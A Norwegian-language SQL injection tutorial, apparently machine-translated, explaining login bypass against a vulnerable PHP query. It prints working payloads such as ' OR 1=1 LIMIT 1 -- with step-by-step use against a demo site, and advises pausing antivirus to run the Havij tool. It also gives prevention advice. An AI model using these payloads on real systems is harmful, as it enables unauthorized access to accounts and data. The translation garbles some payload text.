SQL Injection Tutorial: Hvordan lære med eksempel

Hva er en SQL-injeksjon?

SQL Injection er et angrep som forgifter dynamiske SQL-setninger for å kommentere visse deler av setningen eller legge til en betingelse som alltid vil være sann. Den utnytter designfeilene i dårlig utformede nettapplikasjoner for å utnytte SQL-setninger for å utføre ondsinnet SQL-kode.

Data er en av de viktigste komponentene i informasjonssystemer. Databasedrevne webapplikasjoner brukes av organisasjonen for å hente data fra kunder. SQL er akronymet for Structured Query Language. Den brukes til å hente og manipulere data i databasen.

SQL Injection

Hvordan fungerer SQL Injection Attack?

Hvilke typer angrep som kan utføres ved hjelp av SQL-injeksjon varierer avhengig av typen databasemotor. Angrepet fungerer på dynamiske SQL-setninger. En dynamisk setning er en setning som genereres under kjøretid ved hjelp av parameterpassord fra et nettskjema eller URI-spørringsstreng.

Eksempel på SQL-injeksjon

La oss vurdere en enkel nettapplikasjon med et påloggingsskjema. Koden for HTML-skjemaet vises nedenfor.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

HER,

  • Skjemaet ovenfor godtar e-postadressen, og passordet sender dem deretter til en PHP fil med navnet index.php.
  • Den har et alternativ for å lagre innloggingsøkten i en informasjonskapsel. Vi har utledet dette fra avmerkingsboksen remember_me. Den bruker post-metoden for å sende inn data. Dette betyr at verdiene ikke vises i URL.

La oss anta at setningen i backend for kontroll av bruker-ID er som følger

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);

HER,

  • Utsagnet ovenfor bruker verdiene til $_POST[] array direkte uten å rense dem.
  • Passordet er kryptert med MD5-algoritmen.

Vi skal illustrere et SQL-injeksjonsangrep ved hjelp av sqlfiddle. Åpne URL http://sqlfiddle.com/ i nettleseren din. Du får opp følgende vindu.

Merk: du må skrive SQL-setningene

SQL-injeksjon fungerer

Trinn 1) Skriv inn denne koden i venstre rute

CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));
  
  
insert into users (email,password) values ('m@m.com',md5('abc'));

Trinn 2) Klikk Bygg skjema

Trinn 3) Skriv inn denne koden i høyre rute

select * from users;

Trinn 4) Klikk Kjør SQL. Du vil se følgende resultat

SQL-injeksjon fungerer

Anta brukerrekvisita admin@admin.sys og 1234 som passord. Uttalelsen som skal utføres mot databasen vil være

SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');

Koden ovenfor kan utnyttes ved å kommentere passorddelen og legge til en betingelse som alltid vil være sann. La oss anta at en angriper gir følgende input i e-postadressefeltet.

xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]

xxx for passordet.

Den genererte dynamiske uttalelsen vil være som følger.

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

HER,

  • xxx@xxx.xxx slutter med et enkelt sitat som fullfører strengsitatet
  • OR 1 = 1 LIMIT 1 er en betingelse som alltid vil være sann og begrenser de returnerte resultatene til kun én post.
  • — ' AND ... er en SQL-kommentar som eliminerer passorddelen.

Kopier SQL-setningen ovenfor og lim den inn SQL FiddleKjør SQL-tekstboksen som vist nedenfor

SQL-injeksjon fungerer

Hacking-aktivitet: SQL Inject a Web Application

Vi har en enkel nettapplikasjon på http://www.techpanda.org/ som er sårbar for SQL Injection-angrep kun for demonstrasjonsformål. HTML-skjemakoden ovenfor er hentet fra påloggingssiden. Applikasjonen gir grunnleggende sikkerhet som å rense e-postfeltet. Dette betyr at koden ovenfor ikke kan brukes til å omgå påloggingen.

For å komme rundt det kan vi i stedet utnytte passordfeltet. Diagrammet nedenfor viser trinnene du må følge

SQL Injiser en nettapplikasjon

La oss anta at en angriper gir følgende input

  • Trinn 1: Skriv inn xxx@xxx.xxx som e-postadresse
  • Trinn 2: Skriv inn xxx') ELLER 1 = 1 — ]

SQL Injiser en nettapplikasjon

  • Klikk på Send-knappen
  • Du vil bli dirigert til dashbordet

Den genererte SQL-setningen vil være som følger

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');

Diagrammet nedenfor illustrerer setningen som er generert.

SQL Injiser en nettapplikasjon

HER,

  • Utsagnet antar intelligent at md5-kryptering brukes
  • Fullfører enkelt sitat og avsluttende parentes
  • Legger til en betingelse til påstanden som alltid vil være sann

Generelt sett forsøker et vellykket SQL Injection-angrep en rekke forskjellige teknikker, som de som er vist ovenfor, for å utføre et vellykket angrep.

Andre SQL-injeksjonsangrepstyper

SQL-injeksjoner kan gjøre mer skade enn bare ved å sende innloggingsalgoritmene. Noen av angrepene inkluderer

  • Sletter data
  • Oppdaterer data
  • Setter inn data
  • Utføre kommandoer på serveren som kan laste ned og installere skadelige programmer som trojanere
  • Eksport av verdifulle data som kredittkortdetaljer, e-post og passord til angriperens eksterne server
  • Få brukerinnloggingsdetaljer osv
  • SQL-injeksjon basert på informasjonskapsler
  • Feilbasert SQL-injeksjon
  • Blind SQL-injeksjon

Listen ovenfor er ikke uttømmende; det gir deg bare en ide om hva SQL Injection

Automatiseringsverktøy for SQL-injeksjon

I eksemplet ovenfor brukte vi manuelle angrepsteknikker basert på vår store kunnskap om SQL. Det finnes automatiserte verktøy som kan hjelpe deg med å utføre angrepene mer effektivt og på kortest mulig tid. Disse verktøyene inkluderer

Hvordan forhindre SQL-injeksjonsangrep

En organisasjon kan vedta følgende policy for å beskytte seg mot SQL Injection-angrep.

  • Brukerinndata bør aldri stoles på – Den må alltid renses før den brukes i dynamiske SQL-setninger.
  • Lagrede prosedyrer – disse kan innkapsle SQL-setningene og behandle alle inndata som parametere.
  • Forberedte uttalelser – forberedt setninger til å fungere ved å lage SQL-setningen først og deretter behandle alle innsendte brukerdata som parametere. Dette har ingen innvirkning på syntaksen til SQL-setningen.
  • Regelmessige uttrykk – disse kan brukes til å oppdage potensiell skadelig kode og fjerne den før SQL-setningene utføres.
  • Databasetilkobling brukertilgangsrettigheter – kun nødvendige tilgangsrettigheter skal gis til kontoer som brukes til koble til databasen. Dette kan bidra til å redusere hva SQL-setningene kan utføre på serveren.
  • Feilmeldinger – disse skal ikke avsløre sensitiv informasjon og hvor nøyaktig en feil oppsto. Enkle tilpassede feilmeldinger som "Beklager, vi opplever tekniske feil. Teknisk team er kontaktet. Vennligst prøv igjen senere" kan brukes i stedet for å vise SQL-setningene som forårsaket feilen.

Hacking-aktivitet: Bruk Havij for SQL-injeksjon

I dette praktiske scenariet skal vi bruke Havij Advanced SQL Injection-programmet for å skanne et nettsted for sårbarheter.

Merk: din antivirusprogram kan flagge det på grunn av dets natur. Du bør legge den til i ekskluderingslisten eller sette antivirusprogramvaren på pause.

Bildet nedenfor viser hovedvinduet for Havij

Bruk Havij for SQL Injection

Verktøyet ovenfor kan brukes til å vurdere sårbarheten til en nettside/applikasjon.

Sammendrag

  • SQL Injection er en angrepstype som utnytter dårlige SQL-setninger
  • SQL-injeksjon kan brukes til å omgå påloggingsalgoritmer, hente, sette inn og oppdatere og slette data.
  • SQL-injeksjonsverktøy inkluderer SQLMap, SQLPing, og SQLSmack, osv.
  • En god sikkerhetspolicy når du skriver SQL-setning kan bidra til å redusere SQL-injeksjonsangrep.

Oppsummer dette innlegget med: